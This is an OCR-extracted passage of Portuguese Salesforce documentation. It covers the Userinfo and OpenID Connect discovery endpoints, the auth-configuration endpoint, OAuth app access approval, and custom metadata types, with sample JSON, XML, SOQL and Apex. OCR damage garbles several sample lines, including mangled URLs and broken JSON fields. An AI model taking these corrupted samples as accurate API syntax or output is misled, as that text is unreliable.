Chave de acesso Consulte Usando a chave de acesso na pagina 228.

Formato Esse parametro é opcional. Especifique o formato da saida retornada. Os valores validos sdo:
® Jjson
® xml

Em vez de usar o parametro formato, o cliente também pode verificar o formato retornado
em um cabecalho de aceitacao da solicitagdo usando um dos seguintes:
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Parametro Descri¢do

® Aceitar: application/json

® Aceitar: application/xml

® Aceitar: application/x-www-form-urlencoded

Observe 0 seguinte:

e (Cabecalhos de aceitacdo de curinga sdo permitidos. */* é aceito e retorna JSON.

e Umalista de valores também é aceita e verificada da esquerda para a direita. Por exemplo:
application/xml, application/json,application/html, */*
retorna XML.

e QOparametro format tem precedéncia sobre o cabecalho da solicitacéo de aceitacao.

Versao Esse parametro é opcional. Especifique um ndmero de versao da API SOAP ou a string literal
altimo. Se esse valor ndo for especificado, os URLs da API conterao o valor literal
{versao}, nolugar do nimero da verséo, para que o cliente faca a substituicdo da string.
Se o valor for especificado como a1t imo, a versao da APl mais recente serd usada.

PrettyPrint Esse parametro é opcional e sé é aceito em um cabecalho, ndo como um parametro de URL.
Especifique a saida para ser formatada melhor. Por exemplo, use o seguinte em um cabecalho:
X-PrettyPrint:1.Se esse valor ndo for especificado, o XML ou JSON retornado sera
otimizado para o tamanho, ndo para a legibilidade.

Callback Esse parametro é opcional. Especifique um valor de funcéo JavaScript valido. Esse parametro
56 é usado quando o formato é especificado como JSON. A saida é agrupada nesse nome de
funcéo (JSONP.) Por exemplo, se uma solicitacdo para
https://server/id/orgid/userid/ retornar {"foo": "bar" },umasolicitacao
para https://server/id/orgid/userid/?callback=baz retornard
baz ({"foo":"bar"}) ;.

Resposta do Userinfo Endpoint

Depois de fazer uma solicitagdo vélida, o Salesforce retorna as seguintes informacées no formato JSON, por padrdo, ou qualquer outro
que estiver especificado no parametro Formato.

A resposta inclui valores listados no Perfil de cliente basico do OpenlD Connect, bem como o ID de usuério do Salesforce, o ID da
organizacéo e os URLs relacionados de perfil, feed, etc.

A seguir, hd uma resposta no formato JSON:

{"sub":"http://login.salesforce.com/id/00Dx000.../005x000...",
"user id":"005x000...","organization id":"00Dx000...",

"preferred username":"userl1l@1135222488950007.com",

"nickname" :"userl.3860098879512678E12",

"name":"nal LastName",

"email":"user1@1135222488950007.com",

"email verified":true,"given name":"nal","family name":"LastName",
"zoneinfo":"America/Los_Angeles",

"ohotos": {"picture": "htip: //mal . salesforoe. can/profilephoto/005/F", "thumonail™ : "hittp: //nal . salesforce . can/profilechoto/005/T"} ,
"profile":"http://nal.salesforce.com/005x000...",
"picture":"http://nal.salesforce.com/profilephoto/005/F",
"address": {"country":"us"},


http://openid.net/specs/openid-connect-basic-1_0-28.html#StandardClaims
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"urls":{"enterprise":"http://nal.salesforce.com/services/Soap/c/{version}/00Dx00...",
"partner":"http://nal.salesforce.com/services/Soap/u/{version}/00Dx00...",
"rest":"http://nal.salesforce.com/services/data/v{version}/",
"sobjects":"http://nal.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://nal.salesforce.com/services/data/v{version}/search/",
"query":"http://nal.salesforce.com/services/data/v{version}/query/",
"recent":"http://nal.salesforce.com/services/data/v{version}/recent/",
"profile":"http://nal.salesforce.com/005x000...",
"feeds":"http://nal.salesforce.com/services/data/v{version}/chatter/feeds",
"groups":"http://nal.salesforce.com/services/data/v{version}/chatter/groups",
"users":"http://nal.salesforce.com/services/data/v{version}/chatter/users",

"feed items":"http://nal.salesforce.com/services/data/v{version}/chatter/feed-items"},
Mactive!strue, "user type': "SIANDERDY, "languege™: Men (B, "locale™: Men US", "utcOffisst™:-28800000, Mupdated at"':"2013-12-C2T18:46:42.000+0000"}

A seguir, hd uma resposta no formato XML:

<?xml version="1.0" encoding="UTF-8"?>

<user>

<sub>http://login.salesforce.com/id/00Dx000.../005x000...</sub>

<user 1d>005x000...</user_ id>

<organization i1d>00Dx000...</organization id>

<preferred username>userl@1135222488950007.com</preferred username>
<nickname>userl1.3860098879512678E12</nickname>

<name>userl LastName</name>

<email>userl@1135222488950007.com</email>

<email verified>true</email verified>

<given name>userl</given name>

<family name>LastName</family name>

<zoneinfo>America/Los_Angeles</zoneinfo>

<photos>

<picture>http://nal.salesforce.com/profilephoto/005/F</picture>
<thumbnail>http://nal.salesforce.com/profilephoto/005/T</thumbnail></photos>
<profile>http://nal.salesforce.com/005x000...</profile>
<picture>http://nal.salesforce.com/profilephoto/005/F</picture>

<address>

<country>us</country>

</address>

<urls>
<enterprise>http://nal.salesforce.com/services/Soap/c/{version}/00Dx0000002rThl</enterprise>
<metadata>http://nal.salesforce.com/services/Soap/m/{version}/00Dx0000002rThl</metadata>
<partner>http://nal.salesforce.com/services/Soap/u/{version}/00Dx0000002rThl</partner>
<rest>http://nal.salesforce.com/services/data/v{version}/</rest>
<sobjects>http://nal.salesforce.com/services/data/v{version}/sobjects/</sobjects>
<search>http://nal.salesforce.com/services/data/v{version}/search/</search>
<query>http://nal.salesforce.com/services/data/v{version}/query/</query>
<recent>http://nal.salesforce.com/services/data/v{version}/recent/</recent>
<profile>http://nal.salesforce.com/005x000...</profile>
<feeds>http://nal.salesforce.com/services/data/v{version}/chatter/feeds</feeds>
<groups>http://nal.salesforce.com/services/data/v{version}/chatter/groups</groups>
<users>http://nal.salesforce.com/services/data/v{version}/chatter/users</users>

<feed items>http://nal.salesforce.com/services/data/v{version}/chatter/feed-items</feed items>
</urls>

<active>true</active>

<user type>STANDARD</user type>
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<language>en US</language>

<locale>en US</locale>
<utcOffset>-28800000</utcOffset>

<updated at>2013-12-02T18:46:42.000Z2</updated at>
</user>

Veja a sequir as possiveis respostas do Salesforce a uma solicitacdo invélida.

Codigo de erro Problema na solicitagéo

403 (forbidden) — HTTPS_Required HTTP

403 (forbidden) — Missing_OAuth_Token Esta faltando a chave de acesso

403 (forbidden) — Bad_OAuth_Token Chave de acesso invalida

403 (forbidden) — Wrong_Org Usudrios em uma organizacao diferente

404 (not found) — Bad_Id Usuario ou ID da organizacao invalido ou incorreto

404 (not found) — Inactive Usudrio desativado ou organizagdo inativa

404 (not found) — No_Access Falta ao usudrio 0 acesso correto a organizacao ou
informacoes

404 (not found) — No_Site_Endpoint Solicitagdo para um ponto final invélido de um site

404 (ndo encontrado) — Erro interno Sem resposta do servidor

406 (not acceptable) — Invalid_Version Versdo invalida

406 (not acceptable) — Invalid_Callback Callback invalido

O ponto final de descoberta OpenID Connect

O ponto final de descoberta OpenID Connect é uma péagina estatica que pode ser usada para EDlCC)ES
consultar (sem necessidade de sessao) informagdes sobre a configuracdo do ponto final de
descoberta OpenlD Connect do Salesforce. O Salesforce retorna informagées basicas sobre pontos Disponivel em: Salesforce
finais, escopos permitidos e outros valores usados para a autorizacdo do OpenlD Connect. Classic

O formato do URL é:
https://login.salesforce.com/.well-known/openid-configuration.

Disponivel em: todas as
edicoes
@ Nota: Paraosandbox, login.salesforce.com € substituido por

test.salesforce.com.

O URL deve ser sempre HTTPS.

Resposta do ponto final de descoberta OpenID Connect
Essa solicitagdo de URL retorna as informagdes somente no formato JSON.

A sequir, hd uma resposta no formato JSON:

{"issuer":"https://login.salesforce.com",
"authorization endpoint":"https://login.salesforce.com/services/oauth2/authorize",
"token endpoint":"https://login.salesforce.com/services/oauth2/token",


https://login-blitz01.soma.salesforce.com/
https://login-blitz01.soma.salesforce.com/services/oauth2/authorize
https://login-blitz01.soma.salesforce.com/services/oauth2/token
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"revocation endpoint":"https://login.salesforce.com/services/oauth2/revoke",
"userinfo_endpoint":"https://login.salesforce.com/services/oauth2/userinfo”,
"Jjwks_uri":"https://login.salesforce.com/id/keys",
"scopes_supported":["id","api", "web","full", "chatter api",
"visualforce","refresh token","openid","profile","email",
"address", "phone", "offline access", "custom permissions"],

"response types supported":["code","token","token id token"],

"subject types supported":["public"],

"id token signing alg values_ supported":["RS256"],

"display values supported":["page", "popup","touch"],

"token endpoint auth methods supported":["client secret post","private key jwt"] }

O ponto final de configuracao de autenticagdo

O ponto final de configuracdo de autenticacdo € uma pagina estatica que pode ser usada para EDlCOES
consultar informagdes sobre o SAML de uma organizagdo para configuragdes de login Unico e
provedor de autenticacdo. Nao ha necessidade de sessao. Esta disponivel apenas para comunidades
do Salesforce ou dominios personalizados. Use esse URL ao desenvolver aplicativos que precisam
dessas informacdes sob demanda.

Disponivel em: Salesforce
Classic

Disponivel em: todas as

Em resposta a uma solicitacdo para o Ponto final de configuracdo de autenticacdo, o Salesforce edicoes

retorna informagdes basicas no formato JSON. Essas informagées incluem configuragées de
autenticacao e registro, elementos de identidade visual e outros valores relacionados ao suporte
para login Unico para usuarios de uma comunidade ou dominio personalizado.

Oformatodo URLé: https://<comunidade ou URL personalizado>/.well-known/auth-configuration
Porexemplo, https://acme.my.salesforce.com/.well-known/auth-configuration

Resposta do ponto final de configuracdo de autenticacdo
O ponto final de configuracdo de autenticacdo retorna as informacoes somente em formato JSON.

Veja a seguir uma amostra de resposta.

@ Nota: Ovalor UseNativeBrowserForAuthentication ésempre false no casode comunidades.

Os valores a seguir estao disponiveis somente para comunidades e sao false ou nulos para dominios personalizados criados
com Meu dominio.

® SelfRegistrationEnabled

® SelfRegistrationUrl

® DefaultProfileForRegistration
® FooterText

® UsernamePasswordEnabled

"OrgId": "OODDOO######4#4",
"Url": "https://acme.force.com/partners",
"LoginPage": {

"LoginPageUrl": "https://acme.force.com/partners/CommunitiesLogin",
"LogoUrl": "https://acme.force.com/partners/img/logol90.png",
"BackgroundColor": "#B1BAC1",

"SelfRegistrationEnabled": true,


https://login-blitz01.soma.salesforce.com/services/oauth2/revoke
https://login-blitz01.soma.salesforce.com/services/oauth2/userinfo
https://login-blitz01.soma.salesforce.com/id/keys
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"FooterText": "acme.com",
"UsernamePasswordEnabled": false
}I
"SamlProviders": [{
"name": "ADFS",
"SsoUrl": "https://adfs.my.salesforce.com?so=00DBOO#########"
}I
{
"name": "SF Identity",
"SsoUrl": "https://sfid.my.salesforce.com?so=00DBOO#########"
1

"AuthProviders": [{

"name": "LinkedIn",

"IconUrl": "https://www.linkedin.com/logos/img/logo.png",

"SsoUrl": "https://login.salesforce.com/services/auth/sso/00DBO0000#########/LinkedIn"
by

{

"name": "Facebook",

"IconUrl": "https://www.facebook.com/logos/img/logo.png",

"SsoUrl": "https://login.salesforce.com/services/auth/sso/00DBO0000#########/Facebook"

H

Conceder ou negar solicitacdo de acesso

Solicitagdo de acesso ao aplicativo

O aplicativo externo que vocé estd usando estd solicitando acesso aos dados do Salesforce. O

aplicativo externo ja foi integrado ao Salesforce por seu administrador.

Para conceder acesso aos dados do Salesforce a esse aplicativo, cliqgue em Permitir. Disponivel em: Salesforce

Se a descricdo do aplicativo ndo corresponder ao aplicativo que vocé estd usando atualmente ou, Classic

por qualquer outra razdo, vocé ndo quiser conceder acesso aos seus dados, clique em Negar. Disponivel em: todas as
edicoes

Se 0 usuério conectado no momento ndo for vocé, clique em Néo é vocé? para fazer logout do
usuario atual e efetuar o seu login.

Vocé sé pode conceder acesso a um aplicativo externo um determinado nimero de vezes. PERM|SSOES DO
Geralmente, vocé concede acesso para cada dispositivo que utiliza, como um laptop e um desktop. USUARIO

O padrao é de cinco por aplicativo. Se vocé atingiu o limite da sua organizagao, a agao de dar acesso
a esse aplicativo revoga automaticamente o acesso ao token de acesso com uso menos recente.
A pégina exibe a(s) chave(s) do aplicativo de acesso remoto que serd(ao) revogada(s).

Para gerenciar, criar, editar
e excluir aplicativos OAuth:

e “Gerenciar aplicativos
Ap6s conceder acesso a um aplicativo de acesso remoto, é possivel revoga-lo mais tarde acessando conectados”

suas informacdes pessoais.

1. Em suas configuracdes pessoais, insira Detalhes avancados do usudrio nacaixa
Busca réapida e selecione Detalhes avancados do usudrio. Nenhum resultado? Insira Informacées pessoais na
caixa Busca rapida e selecione Informagoes pessoais.

2. Nasecéo Aplicativos conectados do OAuth, vocé pode:
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e Exibir informacées sobre cada aplicativo ao qual vocé deu acesso, além do nimero de vezes e da ultima vez que o aplicativo

tentou acessar suas informacoes.

@ Nota:

— Um aplicativo pode estar listado mais de uma vez. Cada vez que vocé conceder acesso a um aplicativo ele obtém uma
nova chave de acesso. As solicitagdes de tokens de atualizacao aumentam a Contagem de uso exibida para o
aplicativo. Vocé deve conceder acesso a seus dados do Salesforce de cada dispositivo que utiliza, como um laptop e
um desktop. O limite padrdo é de cinco chaves de acesso por aplicativo. Aplicativos mais recentes (usando o protocolo
OAuth 2.0) sdo aprovados automaticamente para dispositivos adicionais depois que é concedido acesso a vocé. Os
aplicativos OAuth 2.0 podem estar listados mais de uma vez. Cada linha na tabela representa uma concessao exclusiva,
entao se um aplicativo solicitar diversas chaves com escopos diferentes, vocé vera o mesmo aplicativo diversas vezes.

-~ Mesmo se o0 aplicativo conectado tiver tentado acessar suas informacoes e falhar porque ndo conseguiu fazer login,
05 campos Contagem de uso e Ultima utilizac&o ainda serdo atualizados.

e (lique em Revogar para revogar o acesso ao aplicativo. Apds a revogacao do aplicativo, ele ndo poderd mais usar esse token

especifico de autorizacdo de acesso para acessar seus dados do Salesforce.

@ Importante: Vocé devera revogar todas as chaves de acesso de um determinado aplicativo para impedi-lo de acessar

seus dados do Salesforce.

CONSULTE TAMBEM:
Solicitagcdo de acesso ao aplicativo aprovada

Solicitagcdo de acesso ao aplicativo negada

Solicitagao de acesso ao aplicativo aprovada

O aplicativo externo que vocé estd usando solicitou acesso aos dados do Salesforce e vocé aprovou
essa solicitacdo. Feche a janela do navegador e volte ao aplicativo que vocé estava usando.

Ap6s conceder acesso a um aplicativo de acesso remoto, é possivel revoga-lo mais tarde acessando
suas informacdes pessoais.

1. Em suas configuracdes pessoais, insira Detalhes avancados do usudrio nacaixa
Busca rapida e selecione Detalhes avancados do usudrio. Nenhum resultado? Insira
Informacdes pessoails nacaixa Busca rapida eselecione Informagdes pessoais.

2. Nasecao Aplicativos conectados do OAuth, vocé pode:

e Exibirinformacdes sobre cada aplicativo ao qual vocé deu acesso, além do niimero de vezes
e da Ultima vez que o aplicativo tentou acessar suas informacoes.

@ Nota:

- Um aplicativo pode estar listado mais de uma vez. Cada vez que vocé conceder
acesso a um aplicativo ele obtém uma nova chave de acesso. As solicitacdes de
tokens de atualizacdo aumentam a Contagem de uso exibida parao
aplicativo. Vocé deve conceder acesso a seus dados do Salesforce de cada
dispositivo que utiliza, como um laptop e um desktop. O limite padrao é de cinco
chaves de acesso por aplicativo. Aplicativos mais recentes (usando o protocolo
OAuth 2.0) sdo aprovados automaticamente para dispositivos adicionais depois
que é concedido acesso a vocé. Os aplicativos OAuth 2.0 podem estar listados
mais de uma vez. Cada linha na tabela representa uma concessao exclusiva, entao

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes

PERMISSOES DO

USUARIO

Para gerenciar, criar, editar

e excluir aplicativos OAuth:

e “"Gerenciar aplicativos
conectados”
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se um aplicativo solicitar diversas chaves com escopos diferentes, vocé verd o mesmo aplicativo diversas vezes.

-~ Mesmo se o aplicativo conectado tiver tentado acessar suas informacées e falhar porque n&o conseguiu fazer login,
0s campos Contagem de uso e Ultima utilizacao ainda serdo atualizados.

e (lique em Revogar para revogar o acesso ao aplicativo. Apds a revogacao do aplicativo, ele ndo poderd mais usar esse token

especifico de autorizacdo de acesso para acessar seus dados do Salesforce.

@ Importante: Vocé deverd revogar todas as chaves de acesso de um determinado aplicativo para impedi-lo de acessar

seus dados do Salesforce.

CONSULTE TAMBEM:
Solicitagdo de acesso ao aplicativo negada

Solicitagdo de acesso ao aplicativo

Solicitagdo de acesso ao aplicativo negada

0 aplicativo externo que vocé esté usando solicitou acesso aos dados do Salesforce e vocé negou
esse acesso. Vocé deve fazer logoff do Salesforce. Vocé pode voltar ao aplicativo de origem.

CONSULTE TAMBEM:
Solicitagdo de acesso ao aplicativo aprovada

Solicitagdo de acesso ao aplicativo

Tipos de metadados personalizados

Tipos de metadados personalizados

Vocé pode criar suas préprias estruturas declarativas de desenvolvedor para equipes internas,
parceiros e clientes. Em vez de criar aplicativos a partir dos dados, é possivel criar aplicativos que
sdo definidos e conduzidos por seus proprios tipos de metadados. Metadados séo as informacdes
que descrevem a configuragdo da organizacdo de cada cliente.

Metadados personalizados séo metadados de aplicativo que podem ser personalizados, implantados,
empacotados e atualizados. Primeiro vocé cria um tipo de metadados personalizados, que define a
forma dos metadados do aplicativo. Em sequida, cria a funcionalidade reutilizavel que determina
0 comportamento com base nos metadados desse tipo. De forma semelhante a um objeto
personalizado ou configuracao personalizada, um tipo de metadados personalizados tem uma lista
de campos personalizados que representam aspectos dos metadados. Apés criar um tipo de

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes

PERMISSOES DO

USUARIO

Para gerenciar, criar, editar
e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Enterprise, Performance,
Unlimited, Developer e
Database.com

metadados personalizados, vocé ou outras pessoas podem criar declarativamente registros de metadados personalizados que séo definidos
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por esse tipo. Quando vocé empacota um tipo de metadados personalizados publico, os clientes que instalam o pacote podem adicionar
seus préprios registros ao tipo de metadados. Sua funcionalidade reutilizavel 1é os metadados personalizados e os usa para produzir um
comportamento de aplicativo personalizado.

As linhas de metadados personalizados sdo semelhantes a linhas de objeto personalizado quanto a estrutura. Vocé cria, edita e exclui
linhas de metadados personalizados na APl de metadados ou em Configuracdo. Como os registros sdo metadados, vocé pode migra-los
usando pacotes ou ferramentas de APl de metadados. Os registros de metadados personalizados séo somente leitura no Apex e nas
APIs Enterprise e Partner.

Com tipos de metadados personalizados, é possivel emitir consultas ilimitadas de Linguagem de consulta de Salesforce Object (SOQL)
para cada transacao Apex.

Tipos de metadados personalizados sdo compativeis com os seguintes tipos de campo personalizado.
e (aixa de selecao
e Data

e Dataehora

e Email

e Numero

e Porcentagem

e Telefone

e Texto

o Areadetexto

e URL

Um assinante de um pacote gerenciado que contém tipo de metadados personalizados nao pode adicionar seus proprios campos a
esse tipo. Somente a organizacao que desenvolve o tipo pode adicionar campos personalizados a ele.

Os campos de metadados personalizados sdo gerencidveis, o que significa que o desenvolvedor de um tipo pode decidir quem pode
alterar valores de campo ap6s serem implantados na organizagdo de um assinante.

* Blogueado apés lancamento — Para qualquer registro do tipo, o valor do campo é imutavel ap6s a implantagédo, mesmo na
organizacéo do desenvolvedor onde o registro foi criado.

e Editdvel pelo assinante — Qualquer um com as permissdes corretas pode alterar o valor do campo se assim desejar. Quaisquer
alteracdes que o desenvolvedor implantar ndo substituem valores na organizacdo do assinante.

e Atualizdvel — O desenvolvedor de um registro pode alterar o valor do campo lancando uma nova verséo do pacote de metadados
personalizados. O assinante ndo pode alterar o valor do campo.

Tipos e registros de metadados personalizados possuem nomes e rétulos. Os nomes de tipos devem ser exclusivos dentro do respectivo
namespace. Os nomes de registros devem ser exclusivos dentro do respectivo tipo de metadados personalizados e namespace.

Registros de metadados personalizados podem ser protegidos. Se um desenvolvedor liberar registros protegidos em um pacote
gerenciado, 0 acesso a eles serd limitado de maneiras especificas.

e 0O cddigo que estd no mesmo pacote gerenciado que os registros de metadados personalizados pode ler os registros.

e O codigo que estd no mesmo pacote gerenciado que os tipos de metadados personalizados pode ler os registros que pertencem
a esse tipo.

e 0O cddigo que estd em um pacote gerenciado que nao contém nem o tipo nem o registro protegido ndo pode ler os registros
protegidos.

e O codigo que o assinante cria e 0 cadigo que estd em um pacote ndo gerenciado ndao podem ler os registros protegidos.

e Odesenvolvedor pode modificar registros protegidos somente com uma atualizacdo do pacote. O assinante ndo pode ler ou modificar
registros protegidos. O nome do desenvolvedor de um registro protegido nao pode ser alterado ap6s a liberacao.
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Se vocé criar um registro de metadados personalizados protegido em sua organizacao, ele ficara acessivel somente por meio de seu
c6digo, de codigo de pacotes ndo gerenciados e de codigo do pacote gerenciado que define seu tipo.

Os tipos de metadados personalizados também podem ser protegidos, fornecendo a mesma protecdo de acesso que 0s registros
protegidos. Se vocé alterar um tipo de protegido para publico, seus registros protegidos permanecerao protegidos e todos os outros
registros se tornarao publicos. Se vocé usar Configuracdo para criar um novo registro em um tipo protegido, a caixa de selecdo Componente
protegido serd marcada por padrao. Quando um tipo se tornar publico, vocé nao poderd converté-lo em protegido. O assinante nao
pode criar registros de um tipo protegido.

A documentacao de tipos de metadados personalizados faz referéncia a um aplicativo de amostra e trés empresas ficticias.

e A Picklists R Us desenvolve aprimoramentos reutilizaveis para a Plataforma Salesforce1 envolvendo a funcionalidade de listas de
opgoes.

e ATravelApp, Inc. desenvolve um aplicativo de viagem interplanetaria que usa recursos de listas de op¢des da Picklists R Us.

e A Galactic Tours é cliente dessas organizagdes. A Galactic Tours instala o pacote da Picklists R Us e a extensao da TravelApp, Inc. em
sua organizacao.

Visite 0 grupo da comunidade Tipos de metadados personalizados em success.salesforce.com para obter uma cépia do
aplicativo de amostra e discutir essa funcionalidade.

Limitagcoes dos tipos de metadados personalizados

Ao usar tipos de metadados personalizados, esteja ciente destes comportamentos e limitagdes EDICOES

especiais.

Nenhum upsert() Disponivel em: Salesforce
Afuncédo upsert () nao estd disponivel para metadados personalizados. Classic

Atualizando tipos e registros Disponivel em: Edicdes
N&o é possivel atualizar tipos e registros protegidos em um pacote gerenciado instalado Enterprise, Performance,
programaticamente. Vocé pode modificar tipos e registros protegidos somente executando Unlimited, Developer e
uma atualizacéo do pacote. Database.com

N&o é possivel atualizar tipos e registros publicos usando o Apex diretamente. Para modificar
registros a partir do Apex, vocé deve fazer chamadas a APl de metadados.

Relacionamentos de metadados
Ndo hd suporte para relacionamentos de metadados. No entanto, é possivel simula-los usando campos de texto contendo 0 nome
da APl do objeto de destino.

Ferramentas de gerenciamento de ciclo de vida de aplicativo
Tipos de metadados personalizados nao sdo compativeis com estas ferramentas de gerenciamento de ciclo de vida de aplicativo:

e Controle de versao

e APl do conjunto de ferramentas

e (Console do desenvolvedor
Licencas

Licencas definidas para um pacote de extensao nao sdo aplicadas a registros de metadados personalizados nesse pacote, a menos
que 0s tipos também estejam no pacote.

soqQL
Os tipos de metadados personalizados sdo compativeis com a seguinte sintaxe de consulta SOQL.

SELECT fieldList [...]
FROM objectType
[USING SCOPE filterScope]


https://success.salesforce.com/_ui/core/chatter/groups/GroupProfilePage?g=0F9300000001t77CAA
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[NULLS {FIRST|LAST}] 1

e fieldList podeincluirapenas campos que nao sejam de relacionamento.

e FROM pode incluir apenas um objeto.

e \océ ndo pode usar COUNT com tipos de metadados personalizados.

o Epossivel usar os operadores a sequir.

IN e NOT IN

= > >= <, <=e =

LIKE, incluindo curingas

- E

e Né&o pode usar ORDER BY, ASC e DESC com diversos campos.

Tipos de metadados personalizados protegidos
Assinantes nao podem adicionar registros de metadados personalizados a tipos de metadados personalizados instalados que sejam
protegidos. Para permitir que assinantes criem registros de metadados personalizados definidos por um tipo de metadados

personalizados, o tipo deve ser publico.
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A APl de metadados retorna definicdes de entidades personalizadas protegidas (mas néo registros de metadados personalizados)

nas organizagoes assinantes.

Colocando em cache

Os registros de metadados personalizados sao colocados em cache no nivel do tipo apds a primeira solicitacao de leitura. Isso
aprimora o desempenho em solicitages subsequentes. Solicitacdes que estao em andamento quando os metadados sao atualizados

ndo obterdo os metadados mais recentes.

Limites de metadados personalizados

Observe estes requisitos para tipos e registros de metadados personalizados.

Descricdio

Consultas SOQL por transagdo Apex

Quantidade maxima

llimitado

Metadados personalizados por organizacéo * 10 MB

Metadados personalizados por pacote
gerenciado certificado *

10 MB

@ Nofa: Registros de metadados
personalizados em pacotes gerenciados
certificados que vocé instalou n&o
contam para o limite da organizacdo. No
entanto, registros de metadados
personalizados que vocé cria contam
para o limite. Essa regra se aplica
independentemente de vocé criar
registros em seu proprio tipo de
metadados personalizados ou em um
tipo a partir de um pacote gerenciado
certificado.

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicoes
Enterprise, Performance,
Unlimited, Developer e
Database.com
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Descricdo
Campos por tipo ou registro de metadados personalizados

Tipos de metadados personalizados por organizacdo

Caracteres por campo de descri¢ao
Registros retornados por transacao

Tipos de metadados personalizados em uma Unica chamada
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Quantidade méaxima
100

100. Esse numero inclui todos os tipos desenvolvidos na
organizacao e instalados de pacotes gerenciados e nao
gerenciados.

1.000
50.000

200

* O tamanho do registro se baseia no tamanho maximo de cada tipo de campo, ndo no armazenamento real que é usado em cada
campo. Ao adicionar campos a um registro de metadados personalizados, use o tipo adequado e especifique um comprimento que
nao ultrapasse o necessario para os dados. Essa agdo ajuda a evitar que vocé atinja o limite de dados em cache. Por exemplo, se vocé
criarum campo de nimero de CPF, selecione o tipo de dados Texto e especifique o comprimento 9. Se, em vez disso, vocé selecionar
Area de texto,0campo adicionara 255 caracteres a contagem de uso para cada registro, independentemente do nimero de

caracteres inseridos.

Criar, editar e excluir tipos e registros de metadados personalizados

Para criar, atualizar e excluir tipos e registros de metadados personalizados, use a APl de metadados. EDlCOES

Para mais informacdes, consulte "Tipos de metadados personalizados (CustomObject)" no Guia do

desenvolvedor da APl de metadados

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Professional, Enterprise,
Performance, Unlimited,
Developer e Database.com

As organizacdes da
Professional Edition podem
criar, editar e excluir apenas
registros de metadados
personalizados de tipos em
pacotes instalados.


https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/
https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/
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Acessar tipos de metadados, registros e campos personalizados

Acessar tipos e registros de metadados personalizados

Use SOQL para acessar os tipos de metadados personalizados e para recuperar os nomes de AP EDICOES
dos registros nesses tipos. Nao é possivel realizar opera¢ées DML em metadados personalizados
no Apex, nas APIs Partner e nas APIs Enterprise.

Disponivel em: Salesforce
Parainformagdes sobre 0 sObject Tipo de metadados personalizados__mdt consulte Classic

Tipo de metadados personalizados__mdtna Referéncia de objetos para Salesforce e . ; -
Disponivel em: Edicdes

Force.com. Professional, Enterprise,
Por exemplo, declare uma variavel do Apex custMeta do tipo de metadados personalizados Performance, Unlimited,
MyCustomMetadataType mdt, que estd no seu namespace, conforme descrito a seguir. Developer e Database.com

As organizacdes da
Professional Edition podem
acessar apenas registros de
metadados personalizados
a partir de tipos de
metadados personalizados
instalados.

MyCustomMetadataType mdt custMeta;

Declare a varidvel custMeta dotipo de metadados personalizados TheirCustomMetadataType mdt, que ndo estd no seu
namespace, mas no namespace their ns, conforme descrito a seguir.

their ns TheirCustomMetadataType mdt custMeta;
Para obter os nomes de todos os objetos do tipo de metadados personalizados MyMdt mdt:
MyMdt mdt[] allEntityNames = [select QualifiedApiName from MyMdt mdt]

N&o é possivel usar queryMore () com metadados personalizados, mas é possivel usar as palavras-chave SOQL LIMIT e OFFSET
para paginar por um grande nimero de registros. Para obter mais informagoes, consulte Paginando dados de aplicativos Force.com.

Alternativamente, para fornecer uma entidade mais semelhante a Schema . SObjectDescribeResult do que SOQL, faca a
classe do Apex Acme .MyMdtDescribeResult encapsular as informagdes consultadas de Acme  MyMdt. Em sequida, crie a
classe Acme . Acme com métodos como:

Acme .MyMdtDescribeResult describeMyMdt (String qualifiedApiName) {
///perform queries and create object


http://www.salesforce.com/us/developer/docs/object_reference/index_CSH.htm#sforce_api_objects_custommetadatatype__mdt.htm
https://developer.salesforce.com/page/Paginating_Data_for_Force.com_Applications
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Acessar campos de metadados personalizados

0 acesso somente leitura aos campos nos seus tipos e registros de metadados personalizados esta
disponivel por meio de SOQL.

Os campos personalizados em tipos de metadados personalizados em SOQL sé&o referenciados da
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EDICOES

Disponivel em: Salesforce

mesma maneira que na APl de metadados. Por exemplo, o demonstrativo SOQL a seguir recupera Classic
todos os valores Field ¢ e Picklist c dequalquer PicklistUsage mdt

. 4 . : Disponivel em: Edicdes
relacionado a qualquer objeto personalizado chamado InterplanetaryGreeting c.

Professional, Enterprise,
Performance, Unlimited,
Developer e Database.com

As organizacdes da
Professional Edition podem
acessar apenas campos de
metadados personalizados
a partir de tipos de
metadados personalizados
instalados.

SELECT Field ¢, Picklist c
FROM PicklistUsage mdt

WHERE SObjectType c = 'InterplanetaryGreeting c'

Asinformacdes comuns a todos os metadados personalizados sao representadas como campos padréo. Para mais informagdes, consulte
"Tipo de metadados personalizados__mdt" na Referéncia de objetos para Salesforce e Force.com.

O demonstrativo do Apex a seguir, no namespace picklist1234,recupera oroétulo e o namespace dos metadados personalizados
representados na APl de metadados baseados em arquivo como

picklist1234 ReusablePicklistOption.travelAppl234 Motelé6.Estedemonstrativoatribuio objetoavaridvel
motelEx

ReusablePicklistOption mdt motelEx = [SELECT MasterLabel, NamespacePrefix
FROM ReusablePicklistOption mdt
WHERE NamespacePrefix = 'travelAppl234'
AND DeveloperName='Motel6'];

@ Nota: Osassinantes podem executar Apex code empacotado que consulta tipos de metadados personalizados no mesmo pacote.
No entanto, os assinantes ndo podem consultar tipos protegidos em um pacote instalado usando Apex code que eles escreveram.

Empacotar tipos e registros de metadados personalizados

E possivel empacotar tipos e registros de metadados personalizados em pacotes ndo gerenciados,
pacotes gerenciados ou extensdes de pacote gerenciado. Os pacotes podem entdo ser instalados
em organizacoes das edicdes Professional, Developer, Enterprise, Performance, Unlimited e
Database.com. Use conjuntos de alteracdes para implantar tipos e registros de metadados
personalizados de um sandbox.

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edi¢des
Enterprise, Performance,
Unlimited, Developer e
Database.com

E possivel adicionar tipos e registros de metadados personalizados a pacotes usando a interface
do usuério do Force.com. Em Configuracdo, insira Pacotes nacaixa Busca rapida,selecione
Pacotes, clique no nome de seu pacote e cliqgue em Adicionar.

Em sequida, para adicionar tipos de metadados personalizados:


https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/
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1. Selecione o tipo de componente Tipo de metadados personalizados.
